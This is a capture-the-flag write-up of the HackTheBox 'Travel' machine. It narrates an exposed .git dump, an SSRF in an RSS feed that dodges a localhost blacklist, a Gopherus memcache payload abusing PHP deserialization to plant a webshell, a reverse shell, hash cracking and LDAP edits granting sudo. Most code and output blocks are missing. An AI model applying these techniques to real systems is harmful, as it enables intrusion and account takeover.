HTB Travel

10.10.10.189 | 40 pts | Synack Track

PART 1 : INITIAL ENUMERATION

1.1 nmap

$ nmap --min-rate 3000 -oN nmap-tcp.initial -p- -v 10.10.10.189

  PORT    STATE SERVICE
  22/tcp  open  ssh
  80/tcp  open  http
  443/tcp open  https

$ nmap -oN nmap-tcp -p 22,80,443 -sC -sV -v 10.10.10.189

  PORT    STATE SERVICE  VERSION
  22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
  | ssh-hostkey: 
  |   3072 d3:9f:31:95:7e:5e:11:45:a2:b4:b6:34:c0:2d:2d:bc (RSA)
  |   256 ef:3f:44:21:46:8d:eb:6c:39:9c:78:4f:50:b3:f3:6b (ECDSA)
  |_  256 3a:01:bc:f8:57:f5:27:a1:68:1d:6a:3d:4e:bc:21:1b (ED25519)
  80/tcp  open  http     nginx 1.17.6
  | http-methods: 
  |_  Supported Methods: GET HEAD
  |_http-server-header: nginx/1.17.6
  |_http-title: Travel.HTB
  443/tcp open  ssl/http nginx 1.17.6
  | http-methods: 
  |_  Supported Methods: GET HEAD
  |_http-server-header: nginx/1.17.6
  |_http-title: Travel.HTB - SSL coming soon.
  | ssl-cert: Subject: commonName=www.travel.htb/organizationName=Travel.HTB/countryName=UK
  | Subject Alternative Name: DNS:www.travel.htb, DNS:blog.travel.htb, DNS:blog-dev.travel.htb
  | Issuer: commonName=www.travel.htb/organizationName=Travel.HTB/countryName=UK
  | Public Key type: rsa
  | Public Key bits: 2048
  | Signature Algorithm: sha256WithRSAEncryption
  | Not valid before: 2020-04-23T19:24:29
  | Not valid after:  2030-04-21T19:24:29
  | MD5:   ef0a a4c1 fbad 1ac4 d160 58e3 beac 9698
  |_SHA-1: 0170 7c30 db3e 2a93 cda7 7bbe 8a8b 7777 5bcd 0498
  Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

  • Various subdomains were found -- www.travel.htb, blog.travel.htb, blog-dev.travel.htb.

  • UDP scan using nmap, doesn't yield any result.

PART 2 : PORT ENUMERATION

2.1 TCP PORT 80 : HTTP

2.1.1 http[://]travel.htb

2.1.2 http[://]blog.travel.htb

This subdomain is hosting a WordPress application. Using wpscan to enumerate the service:

2.1.3 http[://]blog-dev.travel.htb

The landing page returns forbidden and doing more enumeration using nmap returns:

A /.git directory was found but navigating to it also returns a 403 Response (Forbidden). Attempting to use gobuster to see if responses other than 403 could be seen:

Since only the root seems to be unreadable, maybe we could extract the git files using git-dumper.py

The contents of the .git folder seems to pertain to the deployment of and RSS feed for other services. A user, jane ([email protected]), was also found to have been responsible for the creation of the repository. And based on the output of wpscan from http[://]blog.travel.htb, the RSS service may have been deployed to it as well.

2.2 TCP PORT 443 : HTTPS

All subdomains, when accessed via HTTPS, returns an under construction page with the following message:

PART 3 : EXPLOITATION

3.1 The RSS Feed

3.1.1 RSS in blog.travel.htb:

Looking back at the output of wpscan:

As well as the landing page of http[://]blog.travel.htb, there is a link to Awesome RSS in the navigation bar:

This brings you to http[://]blog.travel.htb/awesome-rss:

3.1.3 Review of rss_template.php:

This was extracted from the contents of http[://]blog-dev.travel.htb/.git/

There us a function get_feed($url) that is using SimplePie for the RSS and memcache for caching data. The argument that will be fed to the function is probably passed through GET parameters (custom_feed_url) in http[://]blog.travel.htb/awesome-rss and if none are supplied, will default to http://www.travel.htb/newsfeed/customfeed.xml:

Which has the same contents listed in http[://]blog.travel.htb/awesome-rss only in XML format.

Aside from the get_feed($url) function there seems to be a debug page as well -- debug.php which could be requested by adding a GET parameter, ?debug. It will still request the usual page but will include debug statements enclosed in HTML comments:

3.2 RFI in get_feed()

  1. Create a customfeed.xml file based on http://www.travel.htb/newsfeed/customfeed.xml:

  2. Start a Python HTTP Server:

  3. Requesting /awesome-rss/ with a custom_feed_url and debug parameter:

  4. Looking back at started HTTP server:

The request to the local HTTP Server went through and it seems like a PHP serialized object was logged into memcache as indicated by the xct_ prefix.

3.3 Interaction with memcache

3.3.1 How data is saved to memcache

Based on the class-simplepie.php which is included in rss_template.php extracted from the WordPress Github Page:

When the feed_url parameter is not null, a call() function from the registry property will be made to a get_handler() function in Cache.php and in this case the value of $this->cache_location has been set to memcache://127.0.0.1:11211/?timeout=60&prefix=xct_ and $url will be hashed using MD5 based on call_user_func($this->cache_name_function, $url):

What will happen is that the substring, memcache, will be extracted from the passed location (memcache://127.0.0.1...) which will return SimplePie_Cache_Memcache based on the array of handlers defined. After which a newly initialized class of the same name will be returned.

The constructor function taken from the SimplePie_Cache_Memcache class definition Memcache.php takes the same parameters from the ones passed to get_handler() from Cache.php. The values from $this->options will be changed since some values were set in the $location variable (?timeout=60&prefix=xct_) so in this case, the prefix that will be used is xct_ instead of simplepie. Afterwhich, the value of $name will be appended to the prefix.

The data provided (contents of $url) will then be serialized and saved into the cache.

To summarize specific to this scenario:

  1. The caching begins by taking three parameters that will be passed to the get_handler() function in Cache.php -- memcache://127.0.0.1:11211/?timeout=60&prefix=xct_, fe1fb813519a90aa175e3f3d721a07ca (MD5 value of http://10.10.14.6/customfeed.xml), and spc

  2. The get_handler() function will then determine what method of caching is needed based on the first parameter given; in this case, memcache so the class definition of SimplePie_Cache_Memcache will be used. The name of the data that will be written in the cache will follow the format --xct_ plus the value of md5("fe1fb813519a90aa175e3f3d721a07ca:spc")

  3. A serialized version of the data will then be saved in to the cached catalogued with the prefix plus the newly generated md5.

3.3.2 Review of debug.php

The output for debug.php last time when http://10.10.14.6/customfeed.xml was requested was:

Following the process explained earlier, the marker generated (xct_54bddbaec1(...)) should be the same as md5(md5("http://10.10.14.6/customfeed.xml").":spc"); which is actually the case -- 54bddbaec1543acec82c7141efde0625

3.4 Input Sanitation Check

3.4.1 Review of template.php

This file was also extracted from the contents of http[://]blog-dev.travel.htb/.git/ and it seems to be responsible for validating user input supplied in the url parameter when requesting /awesome-rss/:

The safe($url) defined prevents Local File Inclusion (LFI) using file:// and Server-Side Request Forgery (SSRF) by filtering requests made via localhost. Meanwhile, even though there is a shell_exec() function in url_get_contents(), Command Injection is avoided by first passing through the safe() function to avoid polluting the curl command and then passing the url parameter through escapeshellarg() to avoid injection using /$(<command>) or appending new commands after a semi-colon (;<command>) to name a few examples.

Also inside template.php is a defined class, TemplateHelper. There are two initialized object properties defined in the class, file and data, based on the class constructor. The `wakeup()__ function is executed during deserialization. In this case, the defined function, __init()__ will be executed when __wakeup()` is triggered. init() will write to `DIR.'/logs'` with the filename defined in $file and contents defined in $data.

3.4.2 The location of __DIR__.'/logs'

Earlier when the contents of http[://]blog-dev.travel.htb/.git were extracted, the README.md file stated that rss_template.php and template.php were saved to wp-content/themes/twentytwenty:

Proving that ./logs is in the same directory:

3.5 SSRF in RSS Feed

The memcache service is running via localhost and based on template.php, the sanitation of user input is limited to blacklisting "localhost" and "127.0.0.1" which could easily be bypassed:

3.5.1 Leverage the TemplateHelper class

Serialized objects are passed through memcache so we will use the TemplateHelper to write a file into the server.

The initialized variables, $file and $data, were changed from being defined as private to public since the serialized data will be interpreted from outside the definition of the TemplateHelper class.

3.5.2 Using Gopherus to Generate Payload:

This is a tool that helps to abuse SSRF vulnerabilities and achieve Remote Code Execution (RCE).

3.5.3 Bypassing the security check in template.php

The only checks are only if the URL is requested via "localhost" and "127.0.0.1". This could easily bypassed by using 2130706433 (decimal value for 127.0.0.1), using 0.0.0.0, or using 0. The payload will be changed to:

3.5.4 Writing the gopher payload to cache

The serialized payload from earlier was successfully written to the cache.

3.5.5 How data is loaded from the cache

Based on Memcache.php

A check for a valid name(xct_\) is performed so it might be necessary for the data to be deserialized. The earlier execution was written as SpyD3r (Gopherus default) payload will be changed to:

3.5.6 Deserializing the right way

The last curl command was added to trigger the cached request to xct_54bddbaec1543acec82c7141efde0625 but this time, the serialized content was from the gopherus payload.

3.5.7 The Uploaded Webshell

Checking if the webshell was uploaded into the server:

Commands could now be executed in the server:

PART 4 : www-data -> lynik-admin

Setup a netcat listener for the reverse shell:

Execute the reverse shell using the uploaded webshell:

4.1 Machine Enumeration

4.1.1 Host Information

No other users are in the system and upon further checking, it seems like the current shell is inside a docker container.

4.1.2 Database Information

user_login

user_pass

user_nicename

user_email

display_name

admin

$P$BIRXVj/ZG0YRiBH8gnRy0chBx67WuK/

admin

[email protected]

admin

There are still no username aside from admin listed in the database.

4.1.3 Search for a Valid User

It seems like from the SQL backup file, there were initially two users in the wp_users table:

user_login

user_pass

user_nicename

user_email

display_name

admin

$P$BIRXVj/ZG0YRiBH8gnRy0chBx67WuK/

admin

[email protected]

admin

lynik-admin

$P$B/wzJzd3pj/n7oTe2GGpi5HcIl4ppc.

lynik-admin

[email protected]

Lynik Schmidt

4.2 Cracking the Hashes

4.3 SSH as lynik-admin

PART 5 : lynik-admin -> brian

5.1 Machine Enumeration

5.1.1 Host information

There is an AuthorizedKeysCommand in the sshd_config file. /usr/bin/sss_ssh_authorizedkeys will be responsible to supply public keys that will be used for authentication. This helps with not having public keys locally stored into the server.

5.1.2 User Directory Enumeration

There is an LDAP bind password for the user lynick-admin cached in the .viminfo file as well the LDAP configuration for the said user.

5.2 LDAP Enumeration

5.2.1 ldapsearch

Looking at the available LDAP objects:

The current user, lynik-admin, is the LDAP Administrator which means everything here is pretty much under the user's control.

There are many other users in the domain but I guess brian's the lucky one.

5.2.2 ldapmodify

This will be an attempt to edit the user, brian's LDAP entry.

First is to create an ldif file that will be used to add a public key and change the group and password of the user:

After running /usr/bin/sss_ssh_authorizedkeys for the user, brian, it is verified that the public key was successfully written for the user.

PART 6 : PRIVESC (brian -> root)

The added group (sudo) and the password change to 1stepcloser were successful as well.

PART 7 : REFERENCES

PreviousHTB UnbalancedNextHTB Quick

Last updated